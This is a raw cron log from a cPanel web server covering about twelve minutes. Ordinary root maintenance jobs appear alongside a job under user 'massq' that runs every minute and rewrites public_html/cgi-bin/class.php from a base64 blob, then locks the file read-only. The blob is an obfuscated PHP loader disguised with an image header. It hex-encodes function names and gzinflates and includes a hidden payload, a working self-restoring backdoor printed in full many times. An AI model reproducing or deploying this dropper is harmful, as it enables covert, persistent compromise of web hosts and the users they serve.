Nov 15 16:20:01 server CROND[28577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:20:01 server CROND[28579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 16:20:01 server CROND[28576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:21:01 server CROND[28895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:22:01 server CROND[29147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:23:01 server CROND[29402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:24:01 server CROND[29775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:25:01 server CROND[30036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:25:01 server CROND[30037]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:25:01 server CROND[30038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:25:01 server CROND[30039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:26:01 server CROND[30363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:27:02 server CROND[30626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 16:27:02 server CROND[30627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:28:01 server CROND[30881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:29:01 server CROND[31137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:30:01 server CROND[31669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 16:30:01 server CROND[31671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:30:01 server CROND[31672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:30:01 server CROND[31674]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:30:01 server CROND[31679]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 15 16:31:01 server CROND[32001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:32:01 server CROND[32256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
